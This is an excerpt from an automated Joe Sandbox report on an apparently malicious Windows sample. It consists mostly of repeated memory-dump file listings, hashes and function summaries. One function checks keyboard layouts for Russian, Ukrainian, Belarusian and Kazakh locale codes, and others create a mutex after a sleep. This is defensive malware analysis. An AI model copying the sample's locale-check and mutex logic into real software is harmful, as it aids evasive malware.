Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d6dd783a8f6a3d244b977768f278a07a2a7a00b2fbb23547afde029dc6820f78
Instruction ID: db71a21074bb449183baa095c0b0c971a2e64a9b04384ba05ed510e3fad90564
Opcode Fuzzy Hash: d6dd783a8f6a3d244b977768f278a07a2a7a00b2fbb23547afde029dc6820f78
Instruction Fuzzy Hash: 71E08C30082108ABDF257F98ED09D583B6AEB51B45F045911FA044A326CB2AEE82D6B0

Function 00DA5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 00DA612B
00000422, xrefs: 00DA60C9
00000419, xrefs: 00DA6098
Keyboard Layout\Preload, xrefs: 00DA6054
00000423, xrefs: 00DA60FA

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: b1fbe24fef9ba8725d521eae73fe752b85df9618f84183072afa9233f1c41a12
Instruction ID: 371456b5b7096e78df6fbd3dc2cc4016895720ed6fca0ff7e3bde132afccae82
Opcode Fuzzy Hash: b1fbe24fef9ba8725d521eae73fe752b85df9618f84183072afa9233f1c41a12
Instruction Fuzzy Hash: 28F1CF709002489FEB24DF58CC84BDEBBB9EF45304F5042A9F509A72C1DB749A88CBA5

Function 00DA9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00DAA963
CreateMutexA.KERNEL32(00000000,00000000,00E03254), ref: 00DAA981

Strings

T2, xrefs: 00DAA970

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 4d9f0023680af158fdd6cf5e0c672c3d4e2070e74bb2a4b9d44a622b33151b2c
Instruction ID: 377a6f00f9924ef6b87ae9bb8c17f12f97075a6cfff42d52165835af4dfbe687
Opcode Fuzzy Hash: 4d9f0023680af158fdd6cf5e0c672c3d4e2070e74bb2a4b9d44a622b33151b2c
Instruction Fuzzy Hash: DD312671600204CBEB08EB7CDCD97AEFBA2EB86314F248718E015972D5D7769985CB71

Function 00DA9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00DAA963
CreateMutexA.KERNEL32(00000000,00000000,00E03254), ref: 00DAA981

Strings

T2, xrefs: 00DAA970

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 73eddbc40996e4f7926188465de1b29850ae1ec27187cbaa42e21b5a651d86f8
Instruction ID: f71d32370061198425c8ff4715d927fedfa59ab8a03e61cb61723f61e1d5d5cc
Opcode Fuzzy Hash: 73eddbc40996e4f7926188465de1b29850ae1ec27187cbaa42e21b5a651d86f8
Instruction Fuzzy Hash: B9313531600204CFEB189B7CD8857ADB7A2EF86314F248718E015EB2D5D7769984C732

Function 00DAA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00DAA963
CreateMutexA.KERNEL32(00000000,00000000,00E03254), ref: 00DAA981

Strings

T2, xrefs: 00DAA970

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 37ab185b4c8e4053a6b40221325769c2698bc9a7b4dfa2e4dc4afbf30d013fb7
Instruction ID: c24d8549eef3092eb23d5e38fefd7225ef4d6d80c3271e9d319b15860beb0058
Opcode Fuzzy Hash: 37ab185b4c8e4053a6b40221325769c2698bc9a7b4dfa2e4dc4afbf30d013fb7
Instruction Fuzzy Hash: 0F312631600244DBEB18DBBCCC85BADBBA3DB86314F24471DE015973D5D77A9985CA32

Function 00DAA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00DAA963
CreateMutexA.KERNEL32(00000000,00000000,00E03254), ref: 00DAA981

Strings

T2, xrefs: 00DAA970

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
